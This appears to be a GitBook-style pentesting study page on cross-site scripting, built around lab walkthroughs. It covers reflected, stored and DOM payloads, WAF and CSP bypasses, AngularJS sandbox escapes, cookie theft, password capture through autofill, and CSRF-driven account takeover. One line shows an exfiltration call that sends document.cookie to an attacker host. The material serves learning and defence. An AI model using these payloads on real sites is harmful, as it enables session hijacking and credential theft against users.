githubEdit

Cross site scripting (XSS)

  • This vulnerability allows an attacker to compromise user interactions with a vulnerable application.

  • It can circumvent the same-origin policy.

  • Websites won't be segregated from each other if they are vulnerable.

  • An attacker can masquerade as a victim user to perform actions and access user data.

  • Privilege escalation (vertical and horizontal) is possible.

  • Full control over application functionality and data may be achieved.

What XSS does

  • Manipulates a vulnerable website to return malicious JavaScript to users.

  • Executing malicious code inside a victim's browser can fully compromise the interaction with the application.

How to prove XSS (PoC)

  • Inject a payload that causes your browser to execute arbitrary JavaScript.

  • Use alert() as a simple proof-of-concept:

    • Short, harmless, hard to miss.

    • Note: Some browsers (e.g., Chrome V92 behavior) may block cross-origin alert() in certain contexts; print() or other benign functions can be alternatives.

Types of XSS

  • Reflected XSS — malicious script comes from the current HTTP request.

  • Stored XSS — malicious script comes from website storage (database).

  • DOM-based XSS — vulnerability exists in client-side code rather than server-side.

Reflected XSS (example)

  • If an application reflects a query parameter without processing:

    • Safe:

    • Vulnerable:

  • When the constructed URL is clicked, the script runs in the user's browser and can use the user's session to perform actions or retrieve data.

Exploiting XSS — common PoC

  • alert() is commonly used to prove arbitrary JS execution on a domain.

  • alert(document.domain) shows the domain where the JS executes.

  • Real threats require full exploits (cookie exfiltration, CSRF, credential capture, etc.).

Labs and practical examples

For each lab below the steps are presented as a stepper (Introduction → Vulnerability → Payload & End-goal → Reconnaissance → Attack → Exploit/Enumeration → Remarks).

1

Lab: Reflected XSS into HTML context with nothing encoded (Reflected PoC)

Lab - Introduction

Web_Pentest701: Pen-tester looks for a search functionality.

Vulnerability - Problem

Search input is reflected into output without encoding.

Payload & End-goal

Get the payload out in a script that calls a function in the application. Payloads: alert(), print().

Reconnaissance-Plan

Check the search function parameter, e.g.: https://hamcodes.net/?search= Proxy and inspect how input is stored/reflected (e.g., <h1>0 search results for 'ham'</h1>).

Attack

Inject <script>alert(1)</script> via the search parameter.

Exploit & Enumerate

Send the GET request and observe the function executes in the victim browser.

Remarks

Proof-of-concept; confirm with alert() / print().

2

Lab: Exploiting XSS to steal cookies (Stored XSS example)

Lab - Introduction

Web_Pentest702: Find a blog comments function.

Vulnerability - Problem

Victim views comments that may execute injected JS.

Payload & End-goal

Exploit to steal victim session cookie and impersonate them.

Reconnaissance-Plan

Confirm JS execution via comment (e.g., <script>alert(ham)</script>). Inspect request used to post comment (POST /post/comment) and locate CSRF token (document.getElementsByName('csrf')[0].value) and document.cookie.

Attack

Post payload in comments so that when victim views the post, JS posts their cookie as a comment (or sends it to attacker).

Exploit & Enumerate

  • Observe the displayed comment containing the session ID like session=hZ0PnryR4...

  • Replace session cookie in your browser and access the account.

Payload (example)

Stages

  1. Run arbitrary JS via XSS.

  2. Post a blog comment on behalf of victim containing the cookie.

  3. Use the session value to hijack the session.

3

Lab: Exploiting XSS to capture passwords (auto-fill)

Lab - Introduction

Web_Pentest703: Find a blog comments function.

Vulnerability - Problem

Browser auto-fill will populate username/password fields when present.

Payload & End-goal

Exfiltrate victim username and password when their browser auto-fills the inputs.

Reconnaissance-Plan

Check if comment section accepts HTML/JS (<script>alert(1)</script>). Create two input fields and cause browser auto-fill to populate them.

Attack

Inject fields and JS into comment:

  • <input type="text" name="username">

  • <input type="password" name="password" onchange="dothis()">

  • JS captures values and posts them back as a comment.

Exploit & Enumerate

Return to the comment section to see captured credentials and use them to log in as admin.

Payload (example)

Notes:

  • Change postId accordingly.

4

Lab: Exploiting XSS to perform CSRF (change email)

Lab - Introduction

Web_Pentest704: Find blog comments.

Vulnerability - Problem

Comments are reflected and can run JS. Target: change victim email without password reentry.

Payload & End-goal

Change email of someone viewing the blog post.

Reconnaissance-Plan

  • Log in as test user (e.g., wiener:peter) and inspect email change flow.

  • /my-account contains CSRF token in input named csrf.

  • The exploit must load the account page, extract the token, then POST to /my-account/change-email.

Attack

Inject JS into comments that:

  • Loads /my-account

  • Extracts CSRF token using regex

  • Sends POST to change email to attacker-controlled address.

Exploit & Enumerate

Script runs when a user visits the comment; their email changes to attacker-controlled address, then attacker triggers password reset to take over the account.

Payload (example)

5

Lab - Introduction

Web_Pentest705: Online shopping site search.

Vulnerability - Problem

Search term is reflected directly into HTML response with no sanitisation.

Payload & End-goal

Inject scripts into the webpage, e.g.: https://shopnow.com/search?q=<script>alert(1)</script>

Reconnaissance-Plan

Search and proxy the request; observe search term is reflected as HTML.

Attack

Send the crafted search URL to a victim.

Exploit & Enumerate

Victim clicks; the script runs in their browser.

Possible impacts: data theft, phishing, defacement.

6

Lab: Reflected XSS into HTML context with most tags/attributes blocked (WAF bypass)

Lab - Introduction

Web_Pentest706: Online shop with WAF.

Vulnerability - Problem

WAF blocking common XSS vectors.

Payload & End-goal

Bypass WAF and call print() (or other allowed function).

Reconnaissance-Plan

Use Burp Intruder to enumerate which tags/attributes are blocked. Use lists from XssCheatSheet.

Attack

Find allowed event attribute (e.g., onresize) and construct a payload using <body onresize=print()>. Host payload on exploit server as an iframe to trigger print().

Exploit & Enumerate

Deliver exploit via exploit server and send to victims.

Example exploit snippet:

7

Lab: Reflected XSS into HTML with custom tags allowed

Lab - Introduction

Web_Pentest706: Social platform where custom tags (e.g., <custom-tag>) are allowed.

Vulnerability - Problem

Custom tags are not blocked; script and common tags may be blocked.

Payload & End-goal

Create a custom tag that triggers JavaScript (e.g., alert(document.cookie)) using a focus event.

Reconnaissance-Plan

Test that <img> and <script> are blocked but <custom-tag> is allowed.

Attack

Create tag with onfocus and tabindex=1 to make it focusable and execute when navigated to via URL hash: Example injection (URL-encoded) uses a custom element with onfocus=alert(document.cookie) and #x to scroll to the element.

Exploit & Enumerate

Host on exploit server and deliver to victim; page focuses element and triggers the event.

Example payload:

Impacts: session hijacking, credential theft, phishing, malware distribution.

8

Lab: Reflected XSS with SVG markup allowed

Lab - Introduction

Web_Pentest708: Site allowing SVG elements.

Vulnerability - Problem

SVG tags/events allowed — attacker can use SVG event attributes.

Payload & End-goal

Trigger alert() via SVG event attribute, e.g.: <svg><animatetransform onbegin=alert(1)>.

Reconnaissance-Plan

Use Burp Intruder to identify allowed SVG tags and attributes (<svg>, <animatetransform>, onbegin, etc.).

Attack

Construct payload with onbegin=alert(1) and URL-encode it into the search parameter.

Exploit & Enumerate

When the page loads, browser interprets SVG and triggers onbegin, executing JS.

Example payload (URL-encoded): https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

9

Lab: Reflected XSS into attribute with angle brackets HTML-encoded (break out of quoted attribute)

Lab - Introduction

Web_Pentest709: News site search — angle brackets encoded.

Vulnerability - Problem

User input reflected inside a quoted attribute (e.g., value="...") — quotes not properly escaped, allowing breaking out of attribute and injecting event handlers.

Payload & End-goal

Inject an event handler that triggers on hover: "onmouseover="alert(1)

Reconnaissance-Plan

Search and inspect HTML source for quoted attribute reflection such as: <input type="text" value="abcd1234"> Angle brackets are encoded (<&lt;, >&gt;) but quotes may not be properly handled.

Attack

Inject "onmouseover="alert(1) into the search value to close the attribute and add onmouseover.

Exploit & Enumerate

Resulting HTML example: <input type="text" value="" onmouseover="alert(1)"> Hovering triggers alert.

Impact: information theft, phishing, wide-scale compromise.

10

Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

Lab - Introduction

Web_Pentest709: Blog comments where author link is reflected into <a href="...">.

Vulnerability - Problem

User input stored in DB then reflected into an anchor href without proper sanitisation.

Payload & End-goal

Inject javascript: URL payload to run JS when clicking author name.

Reconnaissance-Plan

Post a comment and inspect how the input is reflected in the anchor.

Attack

Inject <a href="javascript:alert(1)">Author Name</a> or store javascript:alert(1) in the href-reflected input.

Exploit & Enumerate

Visit the blog and click the author name to execute the JS.

Impact: cookie theft, phishing, defacement.

11

Lab - Introduction

Web_Pentest709: E-commerce home page includes a canonical <link rel="canonical" href="...">.

Vulnerability - Problem

User input reflected inside href allows injecting additional attributes like accesskey and onclick.

Payload & End-goal

Inject 'accesskey='x'onclick='alert(1) into the URL (URL-encoded), resulting in: <link rel="canonical" href="'accesskey='x'onclick='alert(1)"> Pressing the key combination triggers the onclick.

Reconnaissance-Plan

Confirm href is directly influenced by user input and that accesskey can be injected.

Attack

URL-encode and deliver the payload. Example: https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

Exploit & Enumerate

When the user presses ALT+X (or similar), the onclick triggers alert. Impact includes cookie theft, phishing, and account takeover.

12

XSS into JavaScript contexts (breaking out of or strings)When user input is reflected inside a script block, an attacker can terminate the existing script or string and inject new HTML/JS:Example: </script><img src=1 onerror=alert(document.domain)>Browser first parses HTML, then executes scripts — this can allow closing existing script tags and inserting new ones.

Lab: Reflected XSS into a JavaScript string (single quote/backslash escaped)

  1. Lab - Introduction: Web_Pentest709 — search query tracked in JS string.

  2. Vulnerability - Problem: Input reflected in var searchQuery = 'abcd1234';

  3. Reconnaissance: Single quotes are escaped by the app (test\'payload), preventing simple breakout.

  4. Attack: Close the existing <script> and inject a new <script>alert(1)</script>:

    • Example payload: </script><script>alert(1)</script>

  5. Exploit: Submit payload and load resulting page to execute the injected script.

  6. Impact: cookie theft, phishing, widespread compromise.

Real-world payload example:

13

Breaking out of JavaScript strings — various encodings and escape tricks

  • Break out and repair script to avoid syntax errors. Examples:

    • '-alert(document.domain)-'

    • ';alert(document.domain)//

  • If the app escapes quotes/backslashes incorrectly, attacker can neutralise escaping using backslashes.

Lab: Reflected XSS into JS string with angle brackets HTML-encoded

  • Angle brackets encoded but single quotes not escaped.

  • Payload: '-alert(1)-' resulting in var searchQuery = ''-alert(1)-''; which executes alert.

Lab: Reflected XSS into JS string by escaping single quotes via backslash

  • App escapes single quotes ('\') but fails to escape backslashes.

  • Use a payload such as \'-alert(1)// to neutralise the escaping and break out:

    • Resulting reflected code triggers alert(1).

Real-world examples:

14

Bypassing WAF using the throw statement and onerror handler

  • Use throw with onerror=alert to trigger alert without using blocked characters.

  • Example pattern: onerror=alert;throw 1

Lab: Reflected XSS in a JavaScript URL with some characters blocked

Lab - Introduction

Web_Pentest710: Blogging platform where JS URLs in navigation are filtered.

Vulnerability - Problem

Certain characters blocked, but JS exception handling can be abused.

Payload & End-goal

Call alert(1337) using throw/onerror and comment-syntax /**/ to avoid spaces.

Attack

Payload:

URL-encoded version can be placed in the vulnerable postId parameter to trigger the payload when navigating back/forward actions occur.

Exploit & Enumerate

Place payload in URL and cause the vulnerable navigation to evaluate it; alert(1337) will execute.

Real-world impact: exfiltrate cookies by replacing alert with fetch or similar.

15

XSS in JavaScript template literals

  • Template literals use backticks and ${...} for embedded expressions:

  • If user-controlled input ends up inside a template literal, injecting ${...} can execute code without terminating the literal.

Lab: Reflected XSS into a template literal (special chars Unicode-escaped)

Lab - Introduction

Web_Pentest704: Forum with search results reflected into a JS template literal; app escapes special characters.

Vulnerability - Problem

Escapes angle brackets, quotes, backticks, backslashes — but ${...} can still be injected.

Attack

Inject ${alert(1)} into the template literal, resulting in: var searchQuery = ${alert(1)}; — the JS engine evaluates the expression and executes alert(1).

Exploit & Enumerate

Replace search input with ${alert(1)}, send request, load page, and observe execution.

Real-world impact: replace alert with fetch('https://attacker.com/steal?cookie=' + document.cookie).

16

XSS via client-side template injection (AngularJS sandbox escapes)

  • Client-side template frameworks (e.g., AngularJS) can allow unsafe embedding of untrusted input into templates.

  • If AngularJS sandbox is bypassable, arbitrary JS can be executed even if $eval and other functions are disabled.

Lab: Reflected XSS into AngularJS template (sandbox escape via prototype manipulation)

Lab - Introduction

Web_Pentest704: E-commerce using AngularJS.

Vulnerability - Problem

AngularJS sandbox restricts powerful functions, but prototype manipulation may be possible.

Attack idea

  • Override String.prototype.charAt to [].join (e.g., toString().constructor.prototype.charAt = [].join;).

  • Use toString().constructor.fromCharCode(...) to generate strings without quotes and compose x=alert(1).

  • Use orderBy filter or other AngularJS filters to evaluate the produced expression.

Example payload (URL-encoded):

Exploit & Enumerate

Place payload in search parameter and load page; AngularJS processes the expression and executes alert(1).

Real-world impact: cookie theft, account takeover. WAF may block direct payloads; creative encoding helps bypass.

17

Lab: Reflected XSS with AngularJS sandbox escape and CSP bypass (ng-focus and orderBy)

Lab - Introduction

Web_Pentest704: Online shop with AngularJS and a CSP.

Vulnerability - Problem

Sandbox + CSP in place, but AngularJS templating can be abused to run code via event handling and filters.

Attack idea

  • Use ng-focus on an injected <input> element and $event.composedPath() to access window.

  • Use orderBy to execute (z=alert)(document.cookie) (assign alert to variable z and execute with cookie argument).

  • URL-encode payload and host it on the exploit server.

Example injection (URL-encoded):

Exploit & Enumerate

Deliver payload; when victim focuses the input (or page focuses it via #x), alert(document.cookie) executes, bypassing CSP and sandbox protections.

Real-world impact: session hijacking, data exfiltration.

18

Stored XSS (general)

  • Stored XSS occurs when an application stores untrusted data (comments, nicknames, contact info, network packet data, etc.) and includes it in responses in an unsafe way.

  • Example: message board storing <script>/* bad stuff */</script> and rendering it to users unescaped.

Lab: Stored XSS into HTML context with nothing encoded

Lab - Introduction

Web_Pentest704: Shopping site comment field persists input.

Vulnerability - Problem

Persistent XSS where stored inputs are reflected without encoding.

Payload & End-goal

Post <script>alert(1)</script> as a comment so other users executing the comment will run the script.

Reconnaissance-Plan / Attack / Exploit

  • Post comment containing script.

  • When other users view the post, the stored script executes.

Real-world exploitation may use print() to bypass alert() restrictions or use <iframe> hosting for more complex payloads.

Example iframe-hosted payload:

19

Exploiting XSS to steal cookies (summary lab)

Lab - Introduction

Web_Pentest704: SocialSphere — comments allow injected JS.

Vulnerability - Problem

Comments are not sanitised, enabling JS that exfiltrates session cookies.

Payload & End-goal

Exfiltrate session cookie to attacker-controlled server using an image beacon.

Reconnaissance-Plan

Craft comment:

Attack

Post the comment; when victim views it, the browser requests the attacker URL containing the cookie.

Exploit & Enumerate

Attacker collects the cookie (via Burp Collaborator or similar) and uses it to access the victim account.

Impact: account takeover, data theft, lateral spreading.

20

HTML-encoding tricks (entities) to bypass filters

  • If server-side filtering blocks characters (e.g., single quotes), HTML entities may be used since attributes are HTML-decoded before JS execution.

  • Example: &apos;-alert(document.domain)-&apos; can decode to ' -alert(...) -' inside a JS event handler.

Lab: Stored XSS into onclick event with many things encoded/escaped

Lab - Introduction

Web_Pentest711: Blogging platform uses encoding/escaping but reflects input into onclick.

Vulnerability - Problem

onclick contains reflected input and server-side sanitisation is incomplete.

Attack

Use &apos; entity to break out of string inside onclick and insert -alert(1)-: http://foo?&apos;-alert(1)-&apos;

Exploit & Enumerate

When the author link is clicked, the onclick JS runs and alert(1) executes.

Prevention: context-aware output encoding, input sanitisation, CSP.

21

Finding and testing for XSS

(Placeholders for processes and tools to use when hunting for XSS.)

  • Inspect all places where user-controlled input is reflected (HTML content, attributes, script contexts, URLs, templates).

  • Use a proxy (Burp Suite) and its Intruder/Repeater to test payloads and enumerate allowed tags/attributes.

  • Try breaking out of contexts: HTML body, attributes, JS strings, template literals, and client-side templates (AngularJS, etc.).

  • Test HTML-encoding/decoding behavior and backslash escaping behavior.

  • Use benign PoC functions (alert(), print()) and then craft full exploits (cookie exfiltration, CSRF, credential capture) only in authorized testing environments.

Note: Always perform testing only on systems where you have explicit permission.

What can XSS be used for?

  • Impersonate or masquerade as the victim user.

  • Carry out any action that the user can perform.

  • Read any data that the user can access.

  • Capture the user's login credentials.

  • Perform virtual defacement of the website.

  • Inject trojan functionality into the website.

Impact of XSS vulnerabilities

  • Control script execution in a victim's browser.

  • Perform actions on behalf of users.

  • View and modify any information accessible to the victim user.

  • Initiate interactions with other application users (social engineering, wormable XSS).

Preventive measures (summary)

  • Sanitize and validate user inputs.

  • Use context-aware output encoding (HTML, attribute, JS, URL, CSS).

  • Implement strong Content Security Policy (CSP).

  • Use HttpOnly flag for session cookies where feasible.

  • Ensure anti-CSRF tokens are used correctly and are not leaked.

  • Avoid inserting untrusted data into sensitive contexts (script blocks, event handlers, template expressions).

  • Test and harden client-side frameworks (AngularJS, template engines) against sandbox escapes.

XSS CheatSheet

  • XssCheatSheet: obsidian://open?vault=Obsidian%20Vault&file=cheat-sheet.pdf


If you want, I can:

  • Convert any specific lab into a standalone GitBook page (with the payloads in code blocks and stepper steps separated).

  • Extract all PoC payloads into a single reference section.

  • Produce a short remediation checklist suitable for developers.